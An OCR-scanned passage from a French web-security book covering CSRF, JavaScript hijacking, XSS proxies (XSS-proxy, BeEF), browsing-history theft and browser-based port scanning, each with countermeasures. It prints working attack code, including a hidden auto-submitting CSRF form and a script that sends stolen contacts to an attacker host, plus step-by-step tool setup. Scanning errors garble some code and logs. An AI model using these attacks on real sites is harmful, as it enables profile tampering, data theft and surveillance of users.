=" POST"> 

<LABEL for="f irstname">Prenom: </LABEL> 

<INPUT type="text" id="f irstname"><BR> 
<LABEL for="lastname">Nom de famille: </LABEL> 

<INPUT type="text" id="lastname"><BR> 
<LABEL for="hometown">Votre ville: </LABEL> 

<INPUT type="text" id="hometown"><BR> 
<LABEL f or="motto">Slogan personnel: </LABEL> 

<INPUT type="text" id="motto"><BR> 
<INPUT type="submit" value="Valider les changements du profil"> 
</FORM> 

Un agresseur pourra employer du CSRF refiete pour modifier le profil de tout utilisateur 
visitant son site en disposant d'un cookie valide pour AmisDesAgneaux. II suffira a 
I'attaque de mettre en place une iFrame en JavaScript, d'y creer un formulaire reprenant la 



94 Partie II 



Nouvelle generation d'attaques contre les applications web 



Structure du formulaire cible, puis de valider ce dernier. S'il est assez immature, 
I'agresseur pourra composer sa page malveillante comme suit : 

<html> 
<body> 

<h2>Tu es un Gros Nul! Si tu ne me crois pas, consulte ton 
profil AmisDesAgneaux!</h2> 

<!-- Cree I'iFrame malveillante, en s'assurant qu'elle n'apparait pas --> 
<iframe style="display : none" name="iFrameDAttaque"> 
</if rame> 

<!-- Definit le formulaire en y plagant les valeurs malveillantes . 

On remarquera que I'attribut target permet d'affecter facilement 
celui-ci a I'iFrame definie plus haut. --> 
<form style="display : none; visibility: hidden" target="iFrameDAttaque" 
action^ " https : / /www. amisdesagneaux . com/updateprof ile . aspx " method= " POST" 
name="f ormulaireDAttaque "> 

<input type=hidden name="f irstname" value="Gros"> 
<input type=hidden name="lastname" value="Nul"> 
<input type=hidden name=" hometown" value="Nulville, Nullie"> 
<input type=hidden name="motto" value="Nullito ergo sum"> 
</f orm> 

<!-- Valide le script a I'aide de JavaScript. Ceci se produit 
automatiquement lors du chargement, sans que 1 ' utilisateur 
doive intervenir. --> 
<script> 

document . f ormulaireDAttaque . submit () ; 
</script> 
</body> 
</html> 

Avec cette methode, tout utilisateur attire sur le site de I'attaquant constatera avec depit le 
vandalisme de son profil sur le site AmisDesAgneaux, oil ses centaines d'amis en ligne 
I'appellent desormais "Gros Nul". Peu d'intemautes sauront surmonter ce probleme. 

CSRF dans un monde Web 2.0 : detournement de JavaScript 



Popularite : 


6 


Simplicite : 


4 


Impact : 


9 


Evaluation du risque : 


7 



Les attaques decrites jusqu'ici fonctionneront sans modification dans des sites web 
couvrant un large spectre historique (des debuts du Web aux applications reposant sur 
AJAX !). Un autre probleme interessant ne conceme que les demiers nes : le detournement 
JavaScript inter-domaines. 
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Desormais, JavaScript descend dans les tuyaux 

Traditionnellement, les donnees renvoyees aux navigateurs web en reponse a une 
requete HTTP etaient formulees en HTML, langage susceptible de renfermer du Java- 
Script, des liens vers des images et des objets, et susceptible de definir une page web 
totalement nouvelle qu'il s'agira de restituer fidelement. Dans une application AJAX, 
du code JavaScript execute sur une page initiale realise de nombreuses petites requetes 
http, suite a quoi il re9oit des donnees qu'il analyse et emploie pour modifier la seule 
portion de la page web concemee, et non plus I'integralite de celle-ci. Cette technique 
accelere largement I'ergonomie des sites web, en y proposant des niveaux d' interaction 
jamais atteints auparavant. 

Les donnees desormais emises par le serveur web a I'intention du navigateur de I'utili- 
sateur sont souvent exprimees sous forme de tableaux JavaScript. Le langage AJAX 
ayant besoin de passer commande puis d' analyser les informations de maniere efficace, 
il est pertinent que les developpeurs s'appuient sur un format produisant automati- 
quement les bonnes structures de donnees une fois rapatriees puis evaluees dans I'inter- 
preteur JavaScript du navigateur. En general, une telle requete s'appuie sur I'objet 
XMLHTTPRequest (XHR) et les donnees ainsi chargees sont executees dans le navigateur 
par la commande JavaScript eval ( ) . 

L'objet XHR pose un probleme particulier dans le cadre des attaques CSRF. A la diffe- 
rence des formulaires, images ou liens <a> de HTML, l'objet XHR n'a le droit de 
converser qu'avec le domaine d'origine d'une page web. II s'agit d'une mesure de bon 
sens prevenant de nombreux autres trous de securite potentiels dans les applications 
web. II existe cependant une maniere de reproduire I'effet d'une requete XHR inter- 
domaines tout en manipulant des chargements legaux de JavaScript. 

Supposons que I'equipe du site AmisDesAgneaux ait decide d'y incorporer un client de 
messagerie instantanee fonctionnant dans le navigateur, et qu'ils maintiennent la liste 
des contacts des utilisateurs en s'appuyant sur du code AJAX. Celui-ci realisera les 
requetes HTTP GET et POST vers AmisDesAgneaux et en recevra la liste des contacts 
sous forme de tableaux JavaScript. Une requete GET menee sur https: //im.amisdes 
agneaux . com/im/getContacts . asp permettra de rapatrier la liste des amis de I'utilisa- 
teur ainsi que leur etat dans la messagerie instantanee, le tout exprime sous forme de 
tableau comme suit : 

[ [ "online" , "Rich Cannings" , " rich^cannings . org " ] 

, [ "offline" , "Himanshu Dwivedi" , " hdwivedi^isecpartners . com" ] 

, [ "online" , "Zane Lackey" , "zane@isecpartners.com" ] 

, [ "DND" , "Alex Stamos" , "alex@isecpartners.com" ] 

En janvier 2006, Jeremiah Grossman a decouvert une methode permettant de detoumer 
des informations issues d'un site de webmail notoire, qu'il a publiee sur la liste de 
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diffusion WebSecurity, a I'adresse webappsec.org. Dans son message, il souligne une 
technique par laquelle des sites web malveillants reclameront le flux d' informations de 
I'utilisateur, code en JavaScript, au site de courrier electronique a I'aide d'une simple 
balise <tag> inter-domaines. La possibilite de charger du code JavaScript d'un domaine 
a r autre remonte a I'ajout de ce langage dans les navigateurs, car les architectes des 
navigateurs web principaux pensaient que JavaScript avait pour vocation d'etre stati- 
que, sans y voir une methode permettant de representer des types de donnees arbitraires. 
On doit nombreux des benefices apportes par les applications AJAX a la rupture de 
cette convention rmplicite. 

Dans le cas du client de messagerie instantanee du site des AmisDesAgneaux, un agres- 
seur souhaitant decouvrir les noms et adresses electroniques des contacts des autres 
utilisateurs pourra s'appuyer sur un site web malveillant oii il demandera le flux Java- 
Script, analysera les tableaux ainsi obtenus, et s'enverra le resultat a lui-meme. On 
pourrait ecrire une telle attaque comme suit : 

<html> 
<script> 
var IMList; 

// (Etape 1) Reecrire le constructeur Array pour intercepter les 
// donnees entrantes et les placer dans la chaine IMList. 
function Array() { 
var ob] = this; 
var ind - 0; 
var getNext; 
getNext = function(x) { 

obi[ind++] setter = getNext; 
if(x) { 

var str = x . toString ( ) ; 
{ 

IMList += str + " , " ; 

} 

} 

}; 

this[ind++] setter = getNext; 

} 

function getlMContacts ( ) { 
var notAnlmage = new Image(); 

// (Etape 3) Renvoyer IMList a cybermechants.com a I'aide d'une 
// image bidon. 

notAnlmage. src = "http: //cybermechants.org/getContacts?contacts=" + 
escape(IMList) ; 

} 

</script> 

<!-- (Etape 2) Appeler la requete AJAX. Le code rapatrie est 
automatiquement execute et les tableaux JavaScript qu'il definit sent 
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crees par notre diabolique constructeur de tableaux 
defini ci-dessus. --> 

<script src="https: //im. amisdesagneaux.com/im/getContacts. asp "></script> 

<body onload="getIMContacts( ) "> 
</body> 
</html> 

Prevention contre CSRF 

La meilleure maniere de se premunir contre les attaques CSRF presentees dans ce 
chapitre, tout comme de prevenir les attaques inter-domaines, consiste a employer un 
jeton de chiffrement pour chaque requete de type GET ou POST autorisee a modifier des 
donnees cote serveur (comme I'a remarque Jesse Burns d'iSEC Partners dans un livre 
blanc'). Ce jeton dotera 1' application d'un parametre unique et impossible a predire, 
propre a I'utilisateur et a la session, et differenciant la structure de ses controles d'un 
utilisateur a 1' autre. Un agresseur ne pourra rien pre voir, ce qui limite la vulnerabiUte du 
site aux attaques de type CSRF. Consultez ce texte pour en savoir plus. 

Resume 

Depuis I'invention du World Wide Web, les pages web ont permis d'interagir avec des 
serveurs relevant de domaines completement differents. C'est la I'epine dorsale du 
Web ; depourvu de ces liens entre domaines, 1' Internet perdrait une lai^ge part de son 
utilite. Cependant, etant donne qu'utilisateurs et scripts autonomes produisent des 
requetes HTTP d'apparence identique conduit a un type de vulnerabiltes dont souffrent 
par defaut la plupart des applications web. Ces vulnerabilites existent depuis long- 
temps, mais ce n'est que maintenant qu'elles sont explorees par des specialistes de la 
securites bien ou mal intentionnes. D'autre part, I'invention des applications web AJAX 
leur a donne un second souffle. 



1. Disponible (en anglais) a I'adresse www.isecpartners.coiii/flles/XSRF_Paper_0.pdf. 
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Codes JavaScript 
et A JAX malveillants 

JavaScript et AJAX (Asynchronous JavaScript and XML), technologies formidables, 
ont revolutionne les applications web sur 1' Internet. Une grande partie du Web etant 
desormais ecrite en Java, JavaScript (et bientot AJAX) ; la surface de frappe des agres- 
seurs potentiels s'en trouve automatiquement augmentee. Les codes JavaScript 
malveillants (parmi lesquels on compte des codes AJAX mal intentionnes) ont deja 
commence a provoquer des dommages sur I'lntemet. Tout ce qui rend ces langages 
attractifs pour les developpeurs - agilite, souplesse, puissance des fonctions - les rend 
egalement attrayants pour les agresseurs. 

Ce chapitre s'interesse aux emplois mal intentionnes de JavaScript et d' AJAX. N4ous y 
verrons comment compromettre les comptes des utilisateurs, attaquer des applications 
web ou provoquer de maniere generale un desordre sur I'lntemet. Les sujets suivants 
seront abordes : 

■ JavaScript malveillant ; 

■ mandataire (proxy) XSS ; 

■ mandataire BeEF ; 

■ enumeration des URL visitees ; 

■ balayeur de ports ecrit en JavaScript ; 

■ contoumer les filtres de saisie ; 

■ AJAX malveillant ; 

■ XMLHttpRequest ; 
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■ tests automatises d'AJAX ; 

■ ver Samy ; 

■ ver Yamanner. 

JavaScript malveillant 

Longtemps, on n'a vu en JavaScript qu'une technologie assez anodine. En effet, les 
utilisateurs ou developpeurs web ne prennent en general conscience de sa presence 
qu'en cas d'erreurs de syntaxe ou lors d'effets speciaux crees lors d'une interaction 
avec un site web. Ces dernieres annees, cependant, un certain nombre d'outils furent 
publics dans ce langage et des recherches ont montre tous les dommages potentiels que 
ce langage pouvait causer. Mentionnons des mandataires (proxies) permettant a un atta- 
quant de prendre le controle du navigateur de la victime ou des balayeurs de ports 
(scanners) capables d'etablir un plan d'un reseau interne depuis ce meme programme. 
D' autre part, le JavaScript malveillant ne se Umite pas a de telles attaques menees au 
grand jour : il sert encore a violer la vie privee de la victime en prenant connaissance de 
son historique ou de ses habitudes de navigation. 

Avec la grande panoplie d'outils d'attaque ecrits en JavaScript desormais disponibles, 
des agressions auparavant declenchees au niveau du reseau peuvent desormais I'etre 
dans le navigateur de la victime ; il suffit simplement que celle-ci visite un site 
malveillant. 



Mandataire XSS "XSS-proxy" 



Popularite : 


2 


Simplicite : 


2 


Impact : 9 


Evaluation du risque : 


4 



Dans le cas des attaques par injection de donnees arbitraires (XSS ou Cross-Site Scrip- 
ting), de nombreux developpeurs web soucieux de la securite de leur application 
pensent souvent que le seul point d'entree consiste a detourner un identifiant de session 
valide pour la victime. Une fois cet element compromis, I'agresseur peut prendre la 
main sur cette session et y realiser des actions au nom de sa proie. Cependant, en recou- 
rant a une vulnerabilite XSS pour charger un mandataire (proxy) JavaScript, des 
agressions bien plus serieuses peuvent survenir, parmi lesquelles on peut citer : 

■ visualiser les sites affiches dans le navigateur ; 
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■ prendre note des frappes de touches realisees dans le navigateur ; 

■ employer le navigateur de la victime comme un zombie (ou vecteur) pour des attaques 
par deni de service distribue {Distributed Denial of Service ou DDoS) ; 

■ detoumer le contenu du tampon de copier-coller de I'utilisateur (presse-papiers) ; 

■ obliger le navigateur de la victime a emettre des requetes arbitraires. 

Pour un certain nombre de raisons, cette approche par XSS surpasse de beaucoup le 
seul detournement des cookies de session. En effet, I'emploi d'un mandataire XSS peut 
annuler de nombreuses restrictions. Certains sites web completent les cookies de 
session par d'autres mesures de securite ; ils peuvent ainsi les attacher a une adresse IP 
particuliere. Dans ces cas, tout agresseur compromettant cet element et tachant de s'en 
servir pour se connecter essuierait un refus, faute d'emettre ses paquets depuis la bonne 
adresse IP. Une autre possibilite est que le site impose a I'utilisateur de fournir d'autres 
elements d' authentification (certificat client ou mot de passe supplementaire). Si I'atta- 
quant recupere le seul cookie de session sans obtenir ces informations complementaires 
indispensables, il ne pourra pas non plus realiser ses mauvaises actions. 

Quand un agresseur charge un mandataire XSS dans le navigateur web d'une victime, il 
en prend le controle total. Le mandataire s' assure de ce controle de deux manieres : il 
envoie d'abord toutes les requetes de la victime a I'attaquant, de maniere a surveiller 
celle-ci de pres. D'autre part, il reste a I'ecoute de tout ordre issu de I'attaquant, qu'il 
executera dans le navigateur de la victime. Puisque I'agresseur a la possibilite d'obser- 
ver les actions de la victime avant de passer ses ordres, il lui suffira d'attendre que sa 
proie se soit identifiee avant de lancer son attaque, dans le cas oil la vulnerabilite XSS 
precede I'etape d' authentification. D'autre part, toutes les autres precautions de securite 
eventuellement mises en place par le site (comme le fait d' attacher la session de la 
victime a une adresse IP ou d'exiger un certificat client) ne serviront desormais plus a 
rien. En obligeant le navigateur de la victime a envoyer les requetes, tout se passe au 
niveau du site web comme si c'etait veritablement la victime qui les emettait. Apres 
avoir charge un mandataire XSS, un agresseur pourra lancer ces attaques tant que la 
fenetre d'ouverture de son script restera ouverte. 

Le premier mandataire XSS connu, XSS -proxy, fut public par Anton Rager a la conven- 
tion ShmooCon, en 2005. Cet outil, disponible a I'adresse http://xss-proxy.source- 
forge.net/, permet a un agresseur de surveiller le comportement d'un utilisateur et 
d'obliger le navigateur de la victime a executer des commandes emises par lui. Apres 
avoir decouvert une vulnerabilite XSS dans une application web cible, on pourra suivre 
les etapes suivantes pour mettre en place une attaque par XSS -proxy : 

1. L'attaquant telechargera le code de XSS-proxy, qu'il hebergera ensuite sur un 
serveur web Unix place sous son controle (par exemple www.cybermechants.com). 
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Cette machine disposera de I'interpreteur Perl dans sa version 5 (qu'on peut trouver 
a I'adresse www.perl.org). 

2. Modifier le fichier XSS Proxy shmoo 0 0 1 1 . pi. Changer la valeurde la variable $PORT 
ligne 234 si le port 80 est deja employe. Changer la valeur de la variable 
$code server ligne 69 pour y mentionner le nom de domaine du serveur (dans le cas 
present, http: / /www. cybermechants.com). 

3. Executer le programme a I'aide de la commande perl XSS Proxy 
shmoo 0 0 1 1 . pi. II faudra disposer des droits du super-utilisateur si la valeur de la 
variable $PORT ne depasse pas 1024. 

4. Se connecter, sur le domaine et le port precises, dans le repertoire /admin. Si $PORT 
vaut 1234 et $code server http://www.cybermechants.com, on se rendra a 
I'adresse http : / /www. cybermechants . com: 1 234 /admin. 

5. L'interface d' administration est desormais chargee. Celle-ci n'employant pas Java- 
Script, I'agresseur devra la rafraichir manuellement pour observer les connexions de 
sa victime (un exemple est donne a la Figure 4.1). 



Figure 4. 1 

Interface administrative 
du mandataire XSS 
"XSS-proxy". 



- Admin Page - Windows Internet Explorer 



^^^{^^ - I jg] http example, CQm/admin ||^| \ *t] |"x] | Live SearcIT" 



'■ Fichier Edii:ion AFI'ichage Fayoris Outrls ? 



■ Page • i;^ Ouiiils - | 



XSS-Proxv Controller Session 



Fetch dDcumeiit: 



I I 

Evaluate: 

I I 



No contejils yet - WaitiDg for Vistim to forward some docmnenls 




6. Realiser une attaque XSS contre la victime en lui injectant le code <script 
src=http : / /www. cybermechants . com: 1234/xss2 . j s></ script >, oil http : / / 
www. cybermechants . com reprend la valeur $code server precisee et 1234, celle de 
la variable SPORT. 
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7. Rafraichir I'interface d' administration. La machine de la victime devrait y apparai- 
tre sous la section Clients. L'agresseur peut desormais recourir a la section de rapa- 
triement de documents {Fetch Document) pour obliger sa proie a telecharger des 
documents ou faire appel a revaluation (Evaluate) pour obtenir de celle-ci fonc- 
tions et variables JavaScript (Figure 4.2). 

8. Pour obliger la victime a rapatrier un document, I'attaquant renseigne les deux 
champs de saisie de la section Fetch Document, qu'il valide avec le bouton Submit. 
Le champ de gauche prend I'identifiant de session (numerotes a partir a zero). Pour 
choisir la premiere victime connectee sur XSS-proxy a realiser cette action, on y 
precisera done la valeur "0". 

9. Le champ de droite precise I'URL que I'attaquant souhaite faire telecharger a sa 
victime - par exemple, http://www.isecpartners.com. 

10. Enfin, l'agresseur valide ses choix par le bouton Submit, puis revient sur la page 
principale avec le lien Return To Main. 

11. L'attaquant rafraichit alors regulierement la page principale du produit et pourra 
visualiser les resultats de ce rapatriement contraint en cliquant sur le lien quand il 
apparaitra dans la section Document Results. 



Figure 4.2 

Interface de XSS-proxy 
incorporant une victime. 
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Mandataire BeEF 


Popularite : 


4 


Simplicite : 


5 


Impact VHHHI 


1 9 


Evaluation du risque : 


6 



Depuis la publication du prototype XSS-proxy, un certain nombre d'outils plus 
complets ont vu le jour. Citons notamment 1' exploitation de navigateur BeEF, que 
Wade Alcorn propose a I'adresse www.bindshell.net/tools/beef. Ce programme 
ameliore un certain nombre de points du code XSS-proxy original. II simplifie 
d'abord la commande et le controle des navigateurs compromis a I'aide d'un site 
administratif facile d'emploi presentant la liste des machines infectees. L'attaquant 
y choisira la victime de son choix pour prendre connaissance d'un certain nombre 
d'elements la concernant : machine, type de navigateur, systeme d'exploitation, 
taille de I'ecran. Apres cela, il pourra opter pour un certain nombre d'actions 
malveillantes a realiser sur le client - certaines benignes (generer une alerte Java- 
Script dans le navigateur), d'autres plus agressives (detourner le contenu du tampon 
de copier-coUer de la victime). D'autre part, BeEF peut activer une fonctionnalite 
de journalisation des touches par un enregistreur de frappe (keylogger) pour detour- 
ner tout mot de passe ou information sensible saisie par I'utilisateur dans son navi- 
gateur. Enfin, ce produit s'acquitte du role traditionnel des mandataires en 
permettant a l'attaquant d'obliger le navigateur de sa proie a emettre les requetes de 
son choix. 

BeEF visant a etre fonctionnel et non un simple prototype, il est beaucoup plus facile a 
installer et a employer que le produit XSS-proxy original. Ce nouveau produit se 
compose de quelques pages d' administration ecrites dans le langage PHP (PHP Hypertext 
Preprocessor) et des pieges JavaScript constituant le retour sur effort de I'agresseur, 
emis vers les victimes a discretion de celui-ci. 

Pour employer BeEF, on suivra les etapes suivantes : 

1. L'attaquant telechargera le code du mandataire BeEF, qu'il hebergera sur un serveur 
web place sous son controle et proposant le langage PHP, www . cybermechants . com, 
par exemple 

2. Se connecter dans le repertoire /beef oil Ton a decompacte le code de BeEF sur le 
serveur, par exemple, a I'adresse http: / /www. cybermechants . com /beef/. 
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3. L'attaquant re9oit alors un ecran d'installation, oil il lui faudra preciser I'URL a 
laquelle les victimes de BeEF se connecteront. Souvent, on conserve la valeur par 
defaut du site, /beef. Dans le cas de figure detaille ici, I'adresse complete sera done 
http: / /www. cybermechants . com /beef/. 

4. L'agresseur clique sur le bouton de confirmation de la configuration {Apply Confi- 
guration) puis sur le bouton Finished, indiquant qu'il en a termine. BeEF est desor- 
mais active et pret a controler des victimes. La Figure 4.3 reproduit 1' ecran 
d' administration apparaissant a Tissue de I'installation. 
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Figure 4.3 

Interface d' administration du mandataire BeEF. 



5. L'attaquant peut alors realiser une attaque XSS contre la victime et lui injecter le 
code <script src=http: //www. cybermechants .com/beef /hook/ beef magic. j s .php> 
</script>, oil "http : / /www. cybermechants . com" represente le nom de domaine de 
l'attaquant. 

6. L'adresse IP de la victime devrait alors apparaitre automatiquement dans le tableau 
Zombie Selection (choix du zombie), sur le cote gauche de la page d' administration. 
Des lors, l'agresseur peut mener toutes les attaques disponibles dans la section de 
menu des modules standard {Standard Modules) ; la Figure 4.4 en propose un 
exemple. 
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Figure 4.4 

Interface de BeEF incorporant une victime. 



Prevention contre les mandataires JavaScript 

Pour les developpeurs web, les contre-mesures s'opposant aux mandataires JavaScript 
sont les memes que dans le cas des attaques XSS, a savoir : filtrage des donnees re9ues en 
entree et validation des donnees emises en sortie. En effet, les mandataires JavaScript sont 
generalement deployes apres 1' identification d'une faille XSS dans une application web 
cible. Cote utilisateur, on pourra installer un greffon (plug-in) de navigateur comme 
NoScript (http://noscript.net/), pour Firefox, qui desactive JavaScript par defaut. 



Enumeration des URL visitees 



Popularite : 


5 


Simplicite : 


7 


Impact : 8 


Evaluation du risque : 


7 



Non content de prendre le controle du navigateur d'une victime a travers I'emploi 
de mandataires XSS, le code JavaScript malveillant peut aussi violer sa vie privee de 
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maniere significative en inspectant son iiistorique de navigation. Dans cette attaque, 
inventee par Jeremiah Grossman, un agresseur associe JavaScript et XSS pour acceder 
a la liste des adresses visitees par la victime. L'emploi de CSS permet de leur attribuer 
une couleur connue ; un programme JavaScript parcourt ensuite une liste d'URL en 
examinant leur couleur. Toute correspondance avec la couleur de reference trahit alors 
une URL visitee, information que le code JavaScript peut renvoyer a I'attaquant. 

Cette agression peche par le besoin prealable de compiler une liste d'URL que Ton 
souhaite controler. En effet, le code JavaScript n'est pas capable de lire directement 
I'historique de la victime depuis son navigateur, mais pourra confronter celui-ci a une 
liste precise d' adresses codecs en dur. Cependant, cette restriction ne limite pas vrai- 
ment la violation de vie privee, car les attaquants ciblent souvent les informations qu'ils 
cherchent a connaitre sur leur victime. Dans le cas d'un hame^onneur (phisher) curieux 
de savoir quelle banque la victime emploie, il suffira de preparer une liste rassemblant 
plusieurs institutions financieres pour savoir lesquelles elle a visitees. L'attaquant 
pourra ensuite exploiter ces informations pour mieux adapter ses futures campagnes de 
phishing (hame9onnage) pour courrier electronique. 

Cette agression est assez facile a realiser. Zane Lackey d'iSEC Partners a public un 
outil s'appuyant sur le prototype de Jeremiah Grossman, que Ton peut employer en 
suivant les etapes suivantes : 

1. Telecharger I'archive HistoryThief . zip', puis I'heberger sur un serveur web place 
sous son controle, par exemple, www. cybermechants . com/historythief . html. 

2. L' agresseur modifie le fichier historythief.html pour y changer la valeur de la 
variable attackersite ligne 62 afin de la faire pointer vers le serveur web qu'il 
controle. Quand une victime visualisera cette page, toutes les URL auparavant visi- 
tees par elle et relevant de la liste predefinie seront transmises sur I'adresse du 
serveur web de l'attaquant. Ce dernier pourra alors en consulter les journaux 
de connexion pour y prendre connaissance de I'adresse IP de la victime et des URL de 
son historique reconnues par le programme. 

3. Si r agresseur le souhaite, il pourra modifier la liste par defaut des URL controlees 
et confrontees a I'historique de navigation de la victime. 

4. Par renvoi d'un courrier de hame9onnage ou 1' exploitation d'une vulnerabilite de 
son navigateur, l'attaquant obligera alors sa victime a consulter la page www. cyber 
mechants . com/historythief . html. 



1. N.D.T. : Litteralement, "voleur d'histoire", disponible a I'adresse www.isecpartners.com/ 
tools html. 
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. Enfin, I'agresseur inspectera les joumaux de son serveur web pour y trouver I'histo- 
rique de navigation de la victime. Comme on 1' observe Figure 4.5, le navigateur de 
celle-ci emet une requete vers le serveur web de I'agresseur, reclamant /history 
thief? suivi de toute URL controlee par HistoryThief et deja visitee par la victime 
(dans le cas present, le produit signale une consultation du site www.flickr.com). 



$ grep histouythief access. log 

192 . 168.0. 100 - - [23/Oct/2007: 15:02 :S8 -0700] "GET /histouythief ?http : / / wiir. f li 
chr.coiii/ HTTP/ 1.1" 404 210 "http :// labs . Isecpartners . comZ-Eane/historythief . html 
" "Hozilla/4.0 (coiiipatiljle; HSIE 7.0; Ilindous NT S.l; .NET CLR 1.1.4322)" 



Figure 4.5 

Ecran presentant le produit de consultation d'historiques de navigation HistoryThief. 



Prevention contre /'enumeration des URL visitees 

Les contre-mesures s'opposant a ce type d'attaque sont immediates. Un utilisateur 
pourra installer un greffon (plug-in) de navigateur comme NoScript (http://noscript.net/) 
pour Firefox. 

W Balayeur de ports ecrit en JavaScript 



Popularite : 


3 


Simplicite : 


5 


Impact : 


6 


Evaluation du risque : 


5 



Les outils d' agression JavaScript ne visent pas toujours 1' utilisateur compromis ; ils 
s'appuient parfois sur ce dernier pour lancer une attaque sur d'autres cibles strategi- 
ques. Ainsi, on trouve un code malveillant JavaScript exploitant le navigateur comme 
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un outil de detection des ports ouverts sur le reseau interne. Cette technique se distingue 
beaucoup des balayages de ports traditionnels, car les reseaux modernes sont pratique- 
ment toujours proteges contre ces inspections par I'emploi d'un pare-feu et d'une 
traduction d'adresses reseau (Network Address Translation ou NAT). Souvent, les 
administrateurs s'appuient tant sur leur pare-feu qu'ils laissent leurs reseaux internes 
sans aucune ligne de defense contre une attaque. Avec JavaScript, on pourra demander 
au navigateur de la victime de realiser cette operation, et le balayage sera conduit 
depuis I'interieur de la zone protegee par le pare-feu, fournissant ainsi a I'agresseur de 
tres precieuses informations. 

Comme Jeremiah Grossman et Billy Hoffman I'ont montre dans leurs recherches, il 
existe plusieurs manieres de scanner les ports des machines d'un reseau interne a I'aide 
de code JavaScript malveillant. Quelle que soit la maniere dont I'inspection sera reali- 
see, la premiere etape consiste toujours a decouvrir la liste des machines allumees et 
accessibles. Cette exploration, classiquement assuree par le protocole ICMP (Internet 
Control Message Protocol) et I'emploi de commandes ping, sera menee dans un navi- 
gateur a I'aide d'elements HTML. En associant une balise d'image <img> pointant 
successivement vers les differentes adresses IP du reseau aux fonctions onload et oner 
ror, un code JavaScript malveillant situe dans le navigateur trouvera la reponse a cette 
question. Le balayage de ports sur les ordinateurs accessibles peut ensuite debuter. 
L'exercice le plus simple consiste a detecter les serveurs web internes (port TCP 80), 
car il suffit pour le mener a bien de la balise HTML <script> et de I'evenement Java- 
Script onerror. En employant cette balise comme suit: <script src="http:// 
hote cible">, un agresseur pourra decouvrir si la machine consideree heberge un 
serveur web. En effet, si cela produit du HTML (en d'autres termes, si un serveur est a 
I'ecoute), I'interpreteur JavaScript produira une erreur. Dans le cas contraire, cette 
requete mourra apres un delai d'attente maximal (timeout). 

Les balayages par ping et la recherche de serveurs web sont done faciles a realiser, mais 
toute exploration des autres ports reseaux dependra du navigateur et de sa version. Fire- 
fox se limite ainsi aux numeros de ports les plus has. C'est pourquoi on ne trouve des 
outils efficaces que pour detecter les serveurs web et les machines repondant aux 
commandes ping. 

De nombreux outils JavaScript proposent des solutions pour le balayage de ports. SPI 
Dynamics a public un prototype capable de detecter et d'identifier des serveurs web. 
Petko Petkov en propose, a I'adresse www.gnucitizen.org/projects/JavaScript-port- 
scanner/portscanner.js, une implementation balayant de nombreux ports. 

A la difference des attaques avec d'autres outils, celle-ci fonctionne encore si la victime 
a desactive JavaScript dans son navigateur. Les experiences publiees par Jeremiah 
Grossman montrent qu'il suffit d'employer les balises HTML <link> et <img> pour 
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balayer les ports d'un reseau a la recherche de serveurs web, sans jamais recourir a 
JavaScript. Cette attaque s'appuie sur une feuille de style CSS {Cascading Style Sheet) 
chargee a travers la balise <link>, et pointant vers TIP de la machine dont on souhaite 
balayer les ports. Une balise <inig> est alors dirigee vers un serveur controle par 
I'agresseur, en prenant I'heure du moment comme argument. Si la cible ne comporte 
aucun serveur web, la balise <link> tachant d'y charger une CSS mourra apres le 
delai d'attente maximal. En parcourant une a une les adresses IP de toutes les machi- 
nes du reseau local, et en mesurant les intervalles de temps separant les traitements des 
balises <inig>, I'agresseur pourra conclure et savoir oil se trouvent les eventuels 
serveurs web. 

Comme I'a montre Ilia Alshanetsky, on peut egalement travailler sans faire appel a 
JavaScript. II a pousse plus loin les idees de Jeremiah Grossman en ecrivant deux proto- 
types de scripts PHP capables de forcer le navigateur d'une victime a balayer les ports 
des adresses IP internes a un reseau. Pour employer cet outil, un agresseur suivra les 
etapes suivantes : 

1. Telecharger les deux scripts PHP presentes a I'adresse http://ilia.ws/archives/145- 
Network-Scanning-with-HTTP-without-JavaScript.html puis les heberger sur 
un serveur web place sous son controle, par exemple, www.cyberinechants.com/ 
scan . php. 

2. Intervenir sur le script realisant les balayages pour en modifier deux balises HTML. 
La balise <link> de la ligne 13 definira I'intervalle interne d'adresses IP que Ton 
souhaite explorer. Ensuite, la balise <img> de la ligne 14 pointera sur le script 
scan. php place sur le serveur web controle par I'agresseur. A chaque fois qu'une 
victime visualisera cette page, ce programme sauvegardera les resultats du balayage 
de ports dans un fichier texte situe sous le repertoire /tmp/ du serveur web. II suffira 
ensuite de consulter les joumaux du serveur web de la victime pour obtenir les 
resultats recherches. 

3. Par renvoi d'un courrier de hame9onnage ou 1' exploitation d'une vulnerabilite de 
son navigateur, I'attaquant obligera alors sa victime a consulter la page www. cyber 
mechants . com /scan . php. 

4. Enfin, il consultera les journaux produits par le script scan. php, dans le reper- 
toire /tmp/, pour y trouver les resultats du balayage de ports realise depuis le navi- 
gateur de la victime. Comme on le voit Figure 4.6, toute visite de la page HTML 
realisant le balayage de ports produit un fichier sous le repertoire temporaire /tmp/ 
du serveur web de I'agresseur. On y trouvera des informations sur les adresses IP 
explorees dans le reseau interne de la victime. 
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5 head / tmp/3can_to7f 3ecdB7fto3aec7f 4caa6el7c3B43 56 . txt 

192.168.1.1 - 1193179099 /> 8037 Content-Type: text/html; chauset'utf-B-; 

p>te3ting ip <b>192 . 168 . 1 . 2</lo></p><linl!: rel= 1193179102 

192.168.1.2 - 1193179102 /> 8037 Content-Type: text/html; c;hai:3et=utf-8< 

p>te3ting ip <b>192 . 166 . 1 . 3 </b></p><llnli: Eel= 1193179105 

192.168.1.1 - 1193179166 /> 3318 Content-Type: text/html; c;hai:3et=utf-8< 

p>testing ip <!:> 192 . 168 . 1 . 2</b></p>< link Eel= 1193179169 

192.168.1.2 - 1193179169 /> 3318 Content-Type: text/html; c;hai:3et=utf-8< 

p>te3ting ip <b>192 . 168 . 1 . 3 </lc.></p><linli: Eel= 1193179172 

192.168.1.3 - 1193179172 /> 3318 Content-Type: text/html; c;hai:3et=utf-8< 

p>te3ting ip <b>192 . 168 . 1 . 4</to></p><linlc i:el= 1193179175 



Figure 4.6 

Sortie produite par le balayeur de ports. 



Prevention contre le balayage de ports 

Les contre-mesures adaptees a ce type d'attaque ne sont pas totalement efficaces. 
Quand 1' agression repose sur JavaScript, I'utilisateur pouiTa se defendre en desactivant 
['execution de ce langage dans son navigateur. En revanche, comme on I'a signale, la 
methode fonctionne aussi avec du simple HTML, auquel cas aucune protection 
n'existe. 

Contournement des filtres de saisie 

Une maniere efficace de bloquer le code JavaScript malveillant consiste a en interdire 
I'insertion dans une application web. La plupart des organisations placent des filtres sur 
les saisies en premiere ligne, mais prendront garde a se reposer sur cette seule defense. 
La plupart des applications web emploient du code JavaScript ; un utilisateur final a 
done rai^ement besoin d'en inserer d'autres sur une page web. Si Ton autorise parfois du 
